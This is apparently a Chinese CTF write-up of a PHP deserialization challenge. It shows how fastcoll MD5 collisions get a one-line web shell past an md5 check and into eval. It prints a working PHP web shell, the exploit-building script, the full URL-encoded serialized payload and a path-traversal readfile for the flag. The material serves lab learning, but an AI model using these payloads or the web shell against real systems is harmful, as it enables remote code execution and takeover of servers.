利用fastcoll实现MD5碰撞
源码:
<?php
show_source(__FILE__);
class CDUTSEC
{public $var1;public $var2;function __construct($var1, $var2){$var1 = $var1;$var2 = $var2;}function __destruct(){echo md5($this->var1);echo md5($this->var2);if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {eval($this->var1);}}
}unserialize($_GET['payload']);Notice: Undefined index: payload in /var/www/html/index.php on line 24
代码审计:
看上去是一道经典的md5碰撞题目,var1与var2原值弱比较不等md5编码后强比较相等。
根据这句eval($this->var1);
我们发现我们的字符串不仅要能够实现md5碰撞以绕过,而且还必须实现命令注入。
在这里我们利用fastcoll来帮助我们实现这一步。
解题:
我们先写一个一句话木马:@eval($_POST["cmd"]); ?>
然后我们将shell.txt文件拖拽到我们fastcoll程序上,得到两个txt文件,这两个txt文件内容不一样,但是它们的MD5值是一样的。
接着我们利用反序列化构建我们的payload:
<?php
class CDUTSEC{public $var1;public $var2;
}$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\\Users\\86138\\Downloads\\shell_msg1.txt');
$tr->var2 = file_get_contents('C:\\Users\\86138\\Downloads\\shell_msg2.txt');echo urlencode(serialize($tr));
代码运行生成:O%3A7%3A%22CDUTSEC%22%3A2%3A%7Bs%3A4%3A%22var1%22%3Bs%3A192%3A%22%40eval%28%24_POST%5B%22cmd%22%5D%29%3B+%3F%3E%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F8%C1n%04%EF%03%EA%EFx%B4%BA%B4tn%05%2A%E9L%ADJ%8B%14Z%B62%86%849-%A6%A5%0C%B8%D1%12%CA%DE%A8o%CD%EB%29%5CZ%CFc%40%81%10%25%3Af%BFUu4%07%CEXD%AEA%93%B5%2CA%0E%E6%BB%99%40%EFWp%3A%3D%DE%E8J%05%D1%E2%81.%E2%1E%93N%7E%C7%8B%DB%5BLg%C1d%94%BC%09%82%B3%9A%FE%97%C3g9%FD%26Rc%FEj%F4%09%A4HZ%EF%91%29%1F%C1%2FC%04%7E%22%3Bs%3A4%3A%22var2%22%3Bs%3A192%3A%22%40eval%28%24_POST%5B%22cmd%22%5D%29%3B+%3F%3E%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F8%C1n%04%EF%03%EA%EFx%B4%BA%B4tn%05%2A%E9L%AD%CA%8B%14Z%B62%86%849-%A6%A5%0C%B8%D1%12%CA%DE%A8o%CD%EB%29%5CZ%CF%E3%40%81%10%25%3Af%BFUu4%07%CEX%C4%AEA%93%B5%2CA%0E%E6%BB%99%40%EFWp%3A%3D%DE%E8J%05%D1%E2%81%AE%E2%1E%93N%7E%C7%8B%DB%5BLg%C1d%94%BC%09%82%B3%9A%FE%97%C3g9%FD%A6Qc%FEj%F4%09%A4HZ%EF%91%29%1FA%2FC%04%7E%22%3B%7D
利用我们生成的payload,我们进行传值测试:
接着就是常规地获取flag的操作了,这里利用蚁剑\菜刀,或者readfile('../../../../../../flag');
都行。
利用fastcoll实现MD5碰撞相关推荐
- 使用fastcoll进行md5碰撞,两个不同的文件md5值一样。
生成两个文件 fastcoll_v1.0.0.5.exe -p C:\windows\notepad.exe -o D:\notepad1.exe D:\notepad2.exe 比较 md5 校验是 ...
- md5碰撞介绍及工具,并对百度网盘进行碰撞
md5碰撞介绍及工具,并对百度网盘进行碰撞 前言 什么是MD5 什么是MD5碰撞 md5碰撞 常见的碰撞法 差分攻击 构造前缀碰撞法 快速 MD5 碰撞生成器使用方法 百度网盘md5碰撞攻击 总结 参 ...
- 逆向工程实验——pre9(可执行文件的加密MD5碰撞lab)
目录标题 1.阅读 2.阅读 3.阅读 4.阅读下面这三篇文章: 5.MD5 Collision Attack Lab Task 1:使用相同的MD5哈希值生成两个不同的文件 问题1:如果前缀文件的长 ...
- 【网络攻防技术】实验三——MD5碰撞实验
一.实验要求 本次实验主要是加深大家对MD5碰撞及其原理的理解,使用SEED实验环境中的工具及编程语言,完成以下任务: a)使用md5collgen生成两个MD5值相同的文件,并利用bless十六进制 ...
- CTF_Web:php弱类型绕过与md5碰撞
0x00 前言 md5碰撞只是一种掌握php弱类型的方式,弱类型的内容有很多,数组.字符串比较等等,但不论以哪种方式考,涉及的知识点都是相通的,希望通过对基础知识的分享与大家一同学习进步. 0x01 ...
- 利用域名(host碰撞)碰撞实现从任何地方发起中间人攻击(理论篇)
简述 相比大家对中间人劫持的攻击相当了解,尤其是局域网中的中间人攻击.有很多的利用手段比如ARP投毒.DNS投毒.ICMP重定向等等,这类的文章在网上非常的多.但是今天要讨论的是一个全新的中间人攻击方 ...
- 首发不同文件的md5碰撞真正方法——有图(视频教程加工具)非暴力碰撞!
首发不同文件的md5碰撞方法(视.频教程加工具)-非暴力碰撞! 网上的MD5碰撞工具都是碰一个文件变两个的!没有碰撞两个不同文件MD5的方法! 其实碰撞两个不同文件的MD5的方法很简单!王小云都说过只 ...
- MD5碰撞和我眼中的MD5
MD5的全称是Message-Digest Algorithm 5(信息-摘要算法5),是一种用于产生数字签名的单项散列算法,在1991年由MIT Laboratory for Computer Sc ...
- md5 collision(md5碰撞)
题目来源:南京邮电大学网络攻防训练平台 Web题 md5 collision 解题过程: 点开题目标题,呈现在眼前的是一段php代码,代码如下: $md51 = md5('QNKCDZO'); $a ...
最新文章
- ARP协议详解之ARP动态与静态条目的生命周期
- 为了在元宇宙里摸到东西,扎克伯格整出了一款新电子皮肤,成本6美元
- lucene LZ4 会将doc存储在一个chunk里进行Lz4压缩 ES的_source便如此
- make工具和Makefile基础语法(含有交叉编译、pthread_create()的处理)
- 钉钉机器人怎么设置自动回复_项目部署成功后触发钉钉机器人发送消息提醒——入门配置...
- 一个数据仓库转型者眼中的数据挖掘
- snort简介以及在Ubuntu下的安装
- android webview缩放功能,在Android WebView中启用/禁用缩放
- 基于MATLAB波的叠加仿真模拟
- TFTP文件传输NFS挂载ARM开发板移植Linux系统步骤
- 区块链中的POW是什么
- Open mv识别三角形的办法
- openflow初学者入门笔记一(openflow 1.0 and openflow 1.3)
- Tomcat的访问及修改端口号
- Beta冲刺-星期四
- fatal error: opencv2\core\core.hpp: No such file or directory
- Pyspark 读 DataFrame 的使用与基本操作
- 【牛客网】---字符集合
- Ubuntu18.04 安装Proverif 和Syther_tool
- 二维弹性波FWI源码和可执行程序